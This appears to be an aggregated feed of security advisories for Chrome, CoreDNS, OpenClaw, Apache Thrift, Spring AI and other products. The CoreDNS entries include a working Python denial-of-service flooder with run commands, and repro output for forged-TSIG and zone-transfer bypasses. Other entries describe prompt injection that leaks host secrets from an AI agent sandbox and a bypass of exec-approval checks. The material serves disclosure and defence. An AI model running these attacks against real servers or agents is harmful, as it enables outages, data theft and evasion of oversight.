Use after free in Media in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)
Use after free in media in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
Use after free in Navigation in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)
Use after free in WebView in Google Chrome on Android prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
Heap buffer overflow in WebRTC in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)
Type Confusion in V8 in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
Use after free in Codecs in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
Out of bounds read and write in Angle in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
Use after free in Views in Google Chrome on Mac prior to 147.0.7727.138 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
Use after free in Animation in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
Use after free in ANGLE in Google Chrome prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
Use after free in Accessibility in Google Chrome on Windows prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)
Use after free in iOS in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Critical)
Use after free in Canvas in Google Chrome on Linux, ChromeOS prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Critical)
Use after free in WebRTC in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
Use after free in WebRTC in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
Resource exhaustion in OpenClaw before 2026.3.31 allows remote unauthenticated attackers to crash servers by sending malicious Microsoft Teams webhook payloads. The application parses request bodies before performing JWT validation, enabling attackers to bypass authentication and trigger denial-of-service conditions. A vendor patch is available via GitHub commit 3834d47, with no evidence of active exploitation (not in CISA KEV) and no public POC identified at time of analysis.
{ worker_pool_size ... }, CoreDNS still spawns a goroutine per accepted stream (workers + waiters) and active workers can block indefinitely in io.ReadFull() with no per-stream read deadline, enabling unauthenticated remote DoS via memory exhaustion/OOM-kill. CoreDNS' DoQ server uses a global worker pool (streamProcessPool) to limit concurrent stream processing, but when the pool is full it still spawns a goroutine per accepted stream that waits to acquire a worker token: select { case s.streamProcessPool <- ...: go ...; default: go ... wait for token ... } (core/dnsserver/server_quic.go) Additionally, the DoQ message framing reads are blocking io.ReadFull() calls with no per-stream read deadline: readDOQMessage() reads the 2-byte length prefix and message body via io.ReadFull() (core/dnsserver/server_quic.go) This allows an attacker to pin all workers by sending 1 byte (so io.ReadFull() blocks waiting for the second byte of the DoQ length prefix), while also creating an unbounded backlog of goroutines waiting for a worker token. Note: this appears to be a result of an incomplete fix/regression for CVE-2025-47950 (GHSA-cvx7-x8pj-x2gw). 1. Adjust COREDNS_BIN in the PoC to point at right path (see the top-level const definitions for tunables as well) 2. Run python3 ./doq-dos-repro.py 3. Expected sample output: *** Start CoreDNS *** Corefile: /tmp/vh-f003-doq-mem-regression/Corefile Log: /tmp/vh-f003-doq-mem-regression/coredns.log *** Baseline sample (idle) *** rss_kib=49380 go_goroutines=17 *** Build + run partial-stream flooder *** go: downloading golang.org/x/net v0.43.0 go: downloading golang.org/x/crypto v0.41.0 go: downloading go.uber.org/mock v0.5.2 go: downloading github.com/stretchr/testify v1.11.1 go: downloading golang.org/x/sys v0.35.0 go: downloading github.com/pmezard/go-difflib v1.0.0 go: downloading github.com/davecgh/go-spew v1.1.1 go: downloading gopkg.in/yaml.v3 v3.0.1 *** Candidate sample (during attack) *** rss_kib=137968 go_goroutines=15557 *** Flooder output *** opened conns=60 streams_per_conn=256 total_streams=15360 *** Wrote results *** /tmp/vh-f003-doq-mem-regression/results.json *** OK *** DoQ flood caused goroutine/RSS growth despite worker_pool_size. Unauthenticated remote DoS on an encrypted DNS transport via goroutine/RSS growth leading to OOM-kill/crash and service outage.
{ values := req.URL.Query() b64, ok := values["dns"] if !ok { return nil, fmt.Errorf("no 'dns' query parameter found") } if len(b64) != 1 { return nil, fmt.Errorf("multiple 'dns' query values found") } return base64ToMsg(b64[0]) } func base64ToMsg(b64 string) (*dns.Msg, error) { buf, err := b64Enc.DecodeString(b64) if err != nil { return nil, err } m := new(dns.Msg) err = m.Unpack(buf) return m, err } ```` By contrast, the POST path applies a bounded read before unpacking: ```go func toMsg(r io.ReadCloser) (*dns.Msg, error) { buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536)) if err != nil { return nil, err } m := new(dns.Msg) err = m.Unpack(buf) return m, err } ``` So, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs. In addition, the HTTPS server is created in `core/dnsserver/server_https.go:87-92` without an explicit early GET-path size guard in this path: ```go srv := &http.Server{ ReadTimeout: s.ReadTimeout, WriteTimeout: s.WriteTimeout, IdleTimeout: s.IdleTimeout, ErrorLog: stdlog.New(&loggerAdapter{}, "", 0), } ``` As a result, oversized DoH GET request targets are processed through: 1. HTTP request-line parsing 2. URL query parsing / unescaping 3. DoH GET extraction 4. base64 decoding 5. DNS message unpacking before the request is rejected. The root cause is missing early size validation on the DoH GET path. More specifically: * `requestToMsgGet()` performs `req.URL.Query()` on attacker-controlled oversized request targets. * The extracted `dns` value is passed to `base64ToMsg()` without an encoded-length or decoded-length bound. * `base64ToMsg()` fully decodes the attacker-controlled string before any DNS-size rejection. * The POST path already has an explicit bounded read, but GET does not have an equivalent pre-decode bound. This creates a pre-validation resource-amplification path for DoH GET. This was reproduced locally against CoreDNS 1.14.2 over HTTPS with `pprof` enabled. Create a self-signed certificate: ```bash openssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \ -keyout key.pem -out cert.pem \ -subj "/CN=127.0.0.1" ``` Create this `Corefile`: ```txt https://127.0.0.1:8443 { whoami log errors tls cert.pem key.pem pprof 127.0.0.1:6060 } ``` Run CoreDNS: ```bash ./coredns -conf Corefile ``` ```python #!/usr/bin/env python3 import argparse import base64 import collections import concurrent.futures import http.client import ssl import time def send_one(host, port, path, timeout): ctx = ssl._create_unverified_context() conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx) try: conn.request("GET", path, headers={ "Accept": "application/dns-message", "Connection": "close", }) resp = conn.getresponse() resp.read() return resp.status except Exception as e: return f"ERR:{type(e).__name__}" finally: try: conn.close() except Exception: pass def main(): ap = argparse.ArgumentParser() ap.add_argument("--host", default="127.0.0.1") ap.add_argument("--port", type=int, default=8443) ap.add_argument("--decoded-kib", type=int, default=720) ap.add_argument("--workers", type=int, default=64) ap.add_argument("--requests", type=int, default=5000) ap.add_argument("--timeout", type=float, default=5.0) args = ap.parse_args() raw = b"A" * (args.decoded_kib * 1024) b64 = base64.urlsafe_b64encode(raw).rstrip(b"=").decode() path = "/dns-query?dns=" + b64 print(f"[+] target = https://{args.host}:{args.port}") print(f"[+] decoded bytes = {len(raw):,}") print(f"[+] encoded chars = {len(b64):,}") print(f"[+] request-target length = {len(path):,}") print(f"[+] workers = {args.workers}, requests = {args.requests}") print("[+] 400 responses are expected; the issue is expensive processing before rejection.\n") started = time.time() results = collections.Counter() with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex: futs = [ ex.submit(send_one, args.host, args.port, path, args.timeout) for _ in range(args.requests) ] for i, fut in enumerate(concurrent.futures.as_completed(futs), 1): results[fut.result()] += 1 if i % 10 == 0 or i == args.requests: print(f"[{i}/{args.requests}] {dict(results)}") elapsed = time.time() - started print("\n[+] done") print(f"[+] elapsed = {elapsed:.2f}s") print(f"[+] summary = {dict(results)}") if __name__ == "__main__": main() ``` Run the PoC: ```bash python3 poc_doh_get_oversize_https.py \ --host 127.0.0.1 \ --port 8443 \ --decoded-kib 720 \ --workers 64 \ --requests 5000 ``` CPU profile: ```bash (curl -s "http://127.0.0.1:6060/debug/pprof/profile?seconds=20" -o cpu_attack.pb.gz &) ; \ sleep 1 ; \ python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \ wait go tool pprof -top ./coredns cpu_attack.pb.gz ``` Heap / allocation profiles: ```bash curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_before.pb.gz curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_before.pb.gz python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_after.pb.gz curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_after.pb.gz go tool pprof -top -base heap_before.pb.gz ./coredns heap_after.pb.gz go tool pprof -top -base allocs_before.pb.gz ./coredns allocs_after.pb.gz ``` The issue was confirmed using the following: * CoreDNS 1.14.2 * linux/amd64 * go1.26.1 PoC payload characteristics: * decoded payload size: `737,280 bytes` * base64url-encoded `dns` length: `983,040` * request-target length: `983,055` Observed request outcome: * `5000 / 5000` requests returned `400 Bad Request` * total runtime for the 5000-request run: `18.22s` The important point is that the requests are rejected only after expensive processing has already happened. The CPU profile captured during the attack showed significant time in: * `net/http.readRequest` * `net/url.ParseQuery` / `net/url.QueryUnescape` / `net/url.unescape` * `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet` * `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg` * `encoding/base64.(*Encoding).DecodeString` * Go GC worker paths Representative cumulative values from the captured profile included: * `github.com/coredns/coredns/core/dnsserver.(*ServerHTTPS).ServeHTTP` → `10.91s` * `github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg` → `10.88s` * `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet` → `10.88s` * `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg` → `3.50s` * `encoding/base64.(*Encoding).DecodeString` → `3.46s` * `net/http.readRequest` → `10.57s` * `net/url.(*URL).Query` / `ParseQuery` / `QueryUnescape` → `7.38s` * `runtime.gcBgMarkWorker` and related GC paths were also heavily active This demonstrates that the issue is not limited to final DNS unpacking. The oversized GET request forces meaningful work in HTTP parsing, URL handling, base64 decoding, and garbage collection before rejection. Allocation profiling showed very large transient allocation volume caused by the rejected requests: * total `alloc_space`: `26,756.48 MB` Top contributors included: * `net/textproto.(*Reader).readLineSlice` → `19,668.19 MB` * `net/textproto.(*Reader).ReadLine` → `3,738.84 MB` * `encoding/base64.(*Encoding).DecodeString` → `2,766.16 MB` Within the CoreDNS DoH GET path specifically: * `github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg` → `2,775.67 MB` * `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet` → `2,775.67 MB` * `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg` → `2,773.67 MB` Heap delta (`inuse_space`) also showed live growth attributable to this path, including: * `encoding/base64.(*Encoding).DecodeString` → `7,629.75 kB` Runtime memory monitoring showed a clear increase in peak resident usage during the attack: * baseline `VmHWM / VmRSS` before load was approximately `55,864 kB` * observed `VmHWM` during testing reached approximately `146,100 kB` So even though requests returned `400`, the server still experienced substantial transient memory growth and allocator / GC pressure before rejection. A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to the HTTPS endpoint and force significant pre-rejection work. Impact includes: * elevated CPU consumption * large transient allocations * increased garbage-collection pressure * higher peak resident memory usage * degraded throughput and responsiveness * denial of service risk on memory-constrained or heavily loaded deployments This is especially relevant for internet-facing DoH deployments, where an attacker can repeatedly trigger the GET parsing path without authentication. The fact that the final HTTP status is `400 Bad Request` does not mitigate the issue, because the expensive processing has already occurred before the rejection is generated. A robust fix should address both stages of the problem: 1. Apply an early bound on the DoH GET request target / raw query length before expensive query parsing. 2. Enforce an encoded-length and decoded-length limit for the `dns` parameter before calling `DecodeString()`. 3. Preserve equivalent size constraints across GET and POST paths. A minimal hardening direction would be: * reject oversized GET requests before `req.URL.Query()` on the DoH path * reject `dns` values whose encoded length exceeds the maximum valid DNS message encoding * reject any decoded payload larger than the supported DNS message size before unpacking
{ ... NOTAUTH ... } (plugin/tsig/tsig.go) Two affected transports are shown directly in the PoC: - DoH: DoHWriter.TsigStatus() always returns nil (core/dnsserver/https.go), and the HTTP server passes unpacked DNS messages directly into the plugin chain. - DoT: the TLS server builds a dns.Server without setting TsigSecret (core/dnsserver/server_tls.go), unlike plain DNS/TCP/UDP which sets TsigSecret: s.tsigSecret (core/dnsserver/server.go). The same transport-family bug pattern also appears on other transports: - DoH3 reuses the DoH writer path (core/dnsserver/server_https3.go -> core/dnsserver/https.go), so it inherits the same TsigStatus() == nil behavior. - DoQ uses DoQWriter.TsigStatus() error { return nil } (core/dnsserver/quic.go). - gRPC uses gRPCresponse.TsigStatus() error { return nil } (core/dnsserver/server_grpc.go). The attached PoC was kept deliberately small (baseline TCP+DoT+DoH only) for convenience. 1. Adjust COREDNS_BIN in the PoC to point at right path (see the top-level const definitions for tunables as well) 2. Run python3 ./tsig-repro.py 3. Expected output: *** Start CoreDNS *** Corefile: /tmp/vh-f001-tsig-doh-dot-bypass/Corefile Log: /tmp/vh-f001-tsig-doh-dot-bypass/coredns.log *** Baseline (plain TCP) *** no_tsig rcode=5 (expected REFUSED=5) invalid_tsig rcode=9 (expected NOTAUTH=9) *** Candidate (DoT) *** no_tsig rcode=5 (expected REFUSED=5) invalid_tsig rcode=0 ancount=1 (expected NOERROR=0 and ancount>0) *** Candidate (DoH) *** no_tsig http=200 rcode=5 (expected REFUSED=5) invalid_tsig http=200 rcode=0 ancount=1 (expected NOERROR=0 and ancount>0) *** OK *** TSIG bypass reproduced: plain TCP rejects invalid TSIG, while DoT and DoH accept it. Results: /tmp/vh-f001-tsig-doh-dot-bypass/results.json Unauthenticated remote clients can bypass TSIG-based authentication/authorization on first-class encrypted transports, enabling access to whatever the deployment intended to restrict behind tsig { require all } (e.g., zone data/privileged queries, etc.).
Denial of service in OpenClaw (pre-2026.3.28) allows remote unauthenticated attackers to exhaust server resources by flooding the application with concurrent WebSocket upgrade requests. The vulnerability stems from lack of rate-limiting and resource budgeting before authentication, enabling attackers to monopolize socket and worker thread capacity and block legitimate WebSocket clients. No active exploitation confirmed (not in CISA KEV), but the technical barrier is low given unauthenticated network access (CVSS:4.0 AV:N/AC:L/PR:N). VulnCheck reported this vulnerability with vendor advisory available on GitHub.
Uncontrolled recursion in Apache Thrift Node.js library's skip() function enables remote denial of service via crafted protocol messages. Attacker sends specially-crafted Thrift messages triggering deep recursion in the skip() deserialization routine, exhausting stack memory and crashing the Node.js process. CVSS 8.7 High severity with network attack vector requiring no authentication. Disclosed via oss-security mailing list on 2026-04-28 alongside three related Thrift vulnerabilities (C++ JSON OOB read CVE-2026-41607, c_glib dispatch stack overflow CVE-2026-41606, Swift Compact Protocol issue CVE-2026-41605), suggesting coordinated security audit results. EPSS data not yet available for 2026 CVE.
OpenClaw before 2026.4.8 contains an improper authorization vulnerability where the node.pair.approve method accepts operator.write scope instead of the narrower operator.pairing scope, allowing unprivileged users to approve node pairing. Attackers with operator.write permissions can bypass pairing approval restrictions to gain unauthorized access to exec-capable nodes.
Penetration Testing engineers at Amazon have identified a security flaw related to request handling in the web server component that could, under certain conditions, lead to unintended access to. Rated high severity (CVSS 8.7), this vulnerability is no authentication required, low attack complexity. This Missing Authentication for Critical Function vulnerability could allow attackers to access critical functionality without authentication.
Filter expression injection in Spring AI 1.0.0-1.0.5 and 1.1.0-1.1.4 allows remote unauthenticated attackers to manipulate vector store queries through unescaped keys and values in FilterExpressionConverter implementations. The vulnerability enables query language injection across multiple vector database backends, potentially exposing sensitive data (CVSS:C:H) and modifying query results (CVSS:I:L). VMware has released patches in versions 1.0.6 and 1.1.5. No active exploitation confirmed (not in CISA KEV), but the network-accessible attack vector (AV:N/AC:L/PR:N) and code injection classification (CWE-94) indicate significant risk for applications processing untrusted filter expressions.
Remote unauthenticated attackers can exfiltrate sensitive host environment variables from NVIDIA NeMoClaw by injecting malicious prompts that bypass sandbox access controls. The vulnerability affects the sandbox initialization component and enables information disclosure without requiring any authentication or user interaction (CVSS 8.6, AV:N/AC:L/PR:N/UI:N). Cross-scope impact (S:C) indicates the attack breaks out of the intended sandbox boundary to access host-level secrets. EPSS and KEV status not available; this appears to be a recently disclosed AI/LLM agent security issue.
Privilege escalation in MphRx Minerva V3.6.0 allows authenticated users with user modification privileges to gain administrator access by manipulating the 'identifier' field in direct HTTP requests to the '/minerva/moUser/update' endpoint. While the vulnerability requires existing low-level authenticated access and cannot be exploited through the graphical interface, the CVSS v4.0 score of 8.5 reflects high impact across confidentiality, integrity, and availability in the subsequent system context (SC:H/SI:H/SA:H). No public exploit identified at time of analysis, with EPSS data unavailable for this recent CVE.
Insecure direct object reference in MphRx Minerva V3.6.0 allows authenticated attackers to enumerate and exfiltrate sensitive user data across the entire application by manipulating user IDs in the '/minerva/moUser/show/' endpoint. The CVSS 4.0 score of 8.5 reflects high confidentiality impact to both vulnerable (VC:H) and subsequent (SC:H) systems, with subsequent high integrity (SI:H) and availability (SA:H) impacts indicating potential for lateral movement or privilege escalation after initial data disclosure. Coordinated disclosure by INCIBE-CERT suggests vendor notification occurred, though no public exploit code is currently identified and EPSS/KEV data are unavailable for this 2026 CVE.
Penetration Testing engineers at Amazon discovered a vulnerability where the camera system failed to properly validate input, allowing specially crafted requests containing malicious commands to be. Rated high severity (CVSS 8.5), this vulnerability is low attack complexity. This OS Command Injection vulnerability could allow attackers to execute arbitrary operating system commands on the host.
OpenClaw package manager allows supply chain attacks through incomplete environment variable sanitization before version 2026.3.22. Attackers can hijack approved package installation or execution requests by injecting environment variables that redirect package resolution to malicious infrastructure, enabling trojanized code execution with high impact to confidentiality, integrity, and availability. This requires local access and user interaction to trigger package manager operations, limiting remote exploitation but creating significant insider threat and social engineering risk vectors.
Local privilege escalation in eMPIA Technology AVACAST allows authenticated local users to execute arbitrary code with SYSTEM privileges by placing a malicious DLL in a specific directory exploited during application startup. This DLL hijacking vulnerability (CWE-427) requires low-complexity exploitation with no user interaction once local access is obtained. Taiwan's TWCERT issued advisories on this vulnerability, indicating regional awareness though no CISA KEV listing or public exploit code has been identified at time of analysis.
Environment variable injection in OpenClaw's CLI backend runner enables local attackers to achieve arbitrary code execution or exfiltrate sensitive data by manipulating workspace configuration files. Attackers with the ability to supply malicious workspace configs can inject environment variables into backend processes during spawning, exploiting CWE-15 (external control of system or configuration setting). Vendor patch available via GitHub commit c2fb7f1. CVSS 8.5 reflects high impact across confidentiality, integrity, and availability, though exploitation requires local access and user interaction to load the malicious workspace config. No evidence of active exploitation (not in CISA KEV) or public proof-of-concept at time of analysis.
Local attackers can execute malicious code in OpenClaw versions before 2026.3.31 by placing crafted .env files in workspaces to override the OPENCLAW_BUNDLED_PLUGINS_DIR variable, bypassing plugin trust verification. The vulnerability enables code injection through untrusted plugins masquerading as verified components when users open compromised workspace configurations. EPSS data not available; CVSS v4.0 rates this 8.5 HIGH with local attack vector requiring user interaction. Vendor patch available via GitHub commit 330a9f98cb and release 2026.3.31.
Privilege escalation in OpenClaw chat.send API allows low-privileged gateway callers with write scope to execute admin-only session management operations. Attackers can forcibly reset user sessions, rotate session IDs, and archive chat transcripts without admin authorization by exploiting broken access control in the chat messaging path. This enables session hijacking and data manipulation attacks against legitimate users. Reported by VulnCheck disclosure team with vendor security advisory published; no public exploit or active exploitation confirmed at time of analysis.
Unquoted service path vulnerability in AVACAST by eMPIA Technology enables local privilege escalation from high-privileged user to SYSTEM. Attackers with administrative access can plant malicious executables in unquoted paths, achieving arbitrary code execution with system-level privileges upon service restart. Taiwan CERT (TWCERT) published advisories confirming the vulnerability. No public exploit code identified at time of analysis, and exploitation requires existing administrative privileges, limiting practical risk to environments where privileged user compromise is a concern.
Client-side authentication bypass in mpGabinet 23.12.19 and earlier allows local authenticated attackers to impersonate arbitrary users by patching the application binary. An attacker with legitimate low-privilege access to the system can manipulate the compiled application code to skip login verification entirely, gaining unauthorized access as any user including administrators. EPSS score not available for this 2026 CVE; no active exploitation or public POC confirmed at time of analysis.
Insufficient validation of untrusted input in Feedback in Google Chrome prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
Use after free in Media in Google Chrome on Android prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
Use after free in WebMIDI in Google Chrome prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
Heap buffer overflow in Skia in Google Chrome prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
{ if s.tsigSecret == nil { w.tsigStatus = dns.ErrSecret } else if _, ok := s.tsigSecret[tsig.Hdr.Name]; !ok { w.tsigStatus = dns.ErrSecret } // key found -> nothing happens -> tsigStatus stays nil -> "verified" } ``` This means that for gRPC and QUIC, a request with a known TSIG key name but an invalid MAC is accepted as authenticated. PRs #7943 and #7947 partially addressed this area by adding key name checks for gRPC and QUIC, but did not add HMAC verification. The DoH and DoH3 paths have an even weaker failure mode. In `https.go`, `DoHWriter.TsigStatus()` returned nil unconditionally: ```go func (d *DoHWriter) TsigStatus() error { return nil } ``` In `server_https.go`, the incoming DNS message is unpacked from the HTTP request and passed directly into `ServeDNS()` without checking `msg.IsTsig()`, without looking up the TSIG key name, and without calling `dns.TsigVerify()`. The same pattern exists in the DoH3 path in `server_https3.go`. The effective DoH/DoH3 flow before the fix was: 1. HTTP or HTTP/3 request arrives. 2. DNS message is unpacked from the request. 3. A `DoHWriter` is created. 4. The message is passed to `ServeDNS()`. 5. The tsig plugin checks `w.TsigStatus()`. 6. `TsigStatus()` returns nil. 7. nil is interpreted as successful TSIG verification. This means that for DoH and DoH3, CoreDNS did not even require a valid TSIG key name. Any TSIG record was enough to satisfy the tsig plugin, regardless of key name or MAC contents. Setup: built CoreDNS from master at commit `12d9457` and also verified against the v1.14.2 release binary. Configured a single test zone with 9 records and `tsig { require all }`. Listeners used the same TSIG configuration and key: - TCP on port 1053, using the normal `dns.Server` path where TSIG HMAC verification works correctly - gRPC on port 1443, using manual TSIG handling - DoH on port 8443 - DoH3 with the same TSIG configuration A test client sent AXFR requests over gRPC with a valid TSIG key name but forged MAC values. The same requests were sent over TCP for comparison. | MAC used | gRPC | TCP | |----------|------|-----| | 32 zero bytes | BYPASS, 9 records returned | BADSIG | | 32 random bytes | BYPASS, 9 records returned | BADSIG | | HMAC computed with wrong secret | BYPASS, 9 records returned | BADSIG | | truncated to 16 bytes | BYPASS, 9 records returned | BADSIG | | single byte `0x41` | BYPASS, 9 records returned | BADSIG | | empty MAC | BYPASS, 9 records returned | BADSIG | | wrong key name + zero MAC | REJECTED, NOTAUTH/BADKEY | REJECTED, NOTAUTH/BADKEY | 6 out of 7 forged TSIG requests bypassed authentication over gRPC and returned a full zone transfer. The only rejected case was the wrong key name, because the gRPC path checked whether the key name existed. The same class applied to QUIC. For DoH, a test client sent DNS queries over HTTPS POST to `/dns-query` with forged TSIG records. These requests were also compared against TCP. | TSIG variant | DoH result | TCP result | |-------------|------------|------------| | 32 zero bytes | BYPASS, NOERROR | BADSIG | | 32 random bytes | BYPASS, NOERROR | BADSIG | | HMAC computed with wrong secret | BYPASS, NOERROR | BADSIG | | truncated to 16 bytes | BYPASS, NOERROR | BADSIG | | single byte `0x41` | BYPASS, NOERROR | BADSIG | | empty MAC | BYPASS, NOERROR | BADSIG | | bad key name | BYPASS, NOERROR | NOTAUTH/BADKEY | | no TSIG record | REJECTED, REFUSED | REJECTED, REFUSED | 7 out of 8 cases bypassed authentication over DoH. Every request containing a TSIG record was accepted, including requests with an invalid key name. An AXFR request over DoH with a forged TSIG record using a zero-byte MAC returned the full test zone. The same pattern applies to DoH3 because it used the same `DoHWriter` TSIG behavior and did not verify TSIG before passing the message into the plugin chain. To confirm that the tsig plugin itself was enforcing policy, requests with no TSIG record were rejected with `REFUSED`. The bypass happens because the transport layer reports successful TSIG verification when verification either did not happen or only checked the key name. An unauthenticated network attacker may bypass TSIG authentication on affected CoreDNS transports. Depending on configuration, this may allow an attacker to: - perform AXFR or IXFR zone transfers over affected transports - dump TSIG-protected zone data - submit dynamic DNS updates if enabled - bypass other TSIG-gated plugin behavior - authenticate over DoH or DoH3 without knowing a valid TSIG key name The DoH and DoH3 variants have a lower exploitation bar than gRPC and QUIC because the attacker does not need to know a configured TSIG key name. Any TSIG record is treated as valid. - gRPC - QUIC - DoH - DoH3 If upgrading is not immediately possible: - Disable gRPC, QUIC, DoH, and DoH3 listeners where TSIG authentication is required. - Restrict network-level access to affected transport ports to trusted sources only. - Avoid exposing TSIG-protected functionality such as AXFR, IXFR, or dynamic updates over affected transports. Affected transports must verify TSIG before passing the DNS message into the plugin chain. For requests containing a TSIG record, the transport should: 1. check whether TSIG secrets are configured 2. verify that the TSIG key name exists 3. call `dns.TsigVerify()` against the original wire-format message 4. store the resulting status in the response writer 5. return that status from `TsigStatus()` A successful key name lookup alone is not sufficient. A nil TSIG status must only be returned after successful HMAC verification.
{ zone = z; x = xfr } (plugin/transfer/transfer.go) So, a parent zone like example.org. can beat a child zone like a.example.org. purely due to lexicographic ordering ("example.org." > "a.example.org."), even though the child zone is the longer/more specific suffix match. The bypass is data-dependent (some child labels will win, some will lose), making it operationally non-intuitive. 1. Adjust COREDNS_BIN in the PoC to point at right path (see the top-level const definitions for tunables as well) 2. Run python3 ./acl-repro.py 3. Expected output: *** Baseline (only subzone transfer rule) *** axfr a.example.org.: rcode=5 ancount=0 (expected REFUSED=5) *** Candidate (add permissive parent transfer rule) *** axfr a.example.org.: rcode=0 ancount=5 (expected NOERROR=0 with ancount>0) *** OK *** Subzone transfer ACL bypass reproduced: adding a permissive parent-zone stanza can override a stricter child-zone stanza due to lexicographic zone selection. Unauthorized zone transfer can expose full zone contents to a remote network client that was intended to be denied by a subzone-specific transfer policy.
Authentication Bypass vulnerability exists in Netmaker versions prior to 1.5.0. The VerifyHostToken function in logic/jwts.go fails to validate the JWT signature when verifying host tokens. An attacker can forge a JWT signed with any arbitrary key and use it to impersonate any host in the network, gaining access to sensitive information
Webhook replay attacks in OpenClaw before 2026.3.28 allow remote attackers to trigger duplicate voice-call processing by reordering query parameters in captured Plivo V3 signed webhooks. The vulnerability stems from inconsistent canonicalization: signature verification sorts query parameters before validation, but replay detection hashes the raw URL with original parameter ordering. Attackers possessing a single valid signed webhook can bypass replay cache indefinitely by permuting query string order, causing repeated execution of voice-call workflows without requiring authentication or cryptographic breaks. No public exploit identified at time of analysis, though attack complexity is low (CVSS AC:L) with network vector (AV:N) requiring no privileges (PR:N).
Out-of-bounds read vulnerability in Apache Thrift Swift implementation allows remote unauthenticated attackers to trigger denial of service and disclose limited memory contents via malformed skip() operations during protocol deserialization. Affects all versions prior to 0.23.0, with publicly disclosed exploit details on oss-security mailing list. EPSS exploitation probability remains low (5th percentile) despite network-accessible attack vector, suggesting limited real-world targeting to date. Vendor patch released in version 0.23.0 addresses all six concurrently disclosed Thrift vulnerabilities (CVE-2026-41602 through CVE-2026-41607).
Inappropriate implementation in Tint in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to perform out of bounds memory access via a crafted HTML page. (Chromium security severity: High)
Use after free in Chromoting in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code via malicious network traffic. (Chromium security severity: High)
Remote code execution in OpenClaw gateway versions before 2026.3.31 allows attackers with trusted paired node credentials (role=node) to escalate privileges and execute arbitrary code on the gateway by abusing unrestricted agent.request dispatch functionality. The vulnerability stems from insufficient access controls on node.event agent requests, enabling low-privilege paired nodes to invoke gateway-side tools without restriction. EPSS exploitation probability and KEV status not yet available for this recently disclosed vulnerability, but a vendor patch and exploit details are publicly documented.
Privilege escalation in OpenClaw's trusted-proxy authentication mode allows low-privileged authenticated users to gain operator.admin privileges by declaring operator scopes on non-Control-UI clients. The incomplete scope-clearing mechanism fails to sanitize self-declared scopes when identity-bearing authentication paths process requests, enabling attackers to bypass authorization checks and achieve full administrative access. Vendor patch available via commit 8b88b927 in version 2026.3.31; no confirmed active exploitation (not in CISA KEV) but publicly disclosed with detailed GitHub security advisory increasing attack feasibility.
OpenClaw before 2026.4.8 contains an approval-timeout fallback mechanism that bypasses strictInlineEval explicit-approval requirements on gateway and node exec hosts. Attackers can exploit this timeout fallback to execute inline eval commands that should require explicit user approval, circumventing the intended security boundary.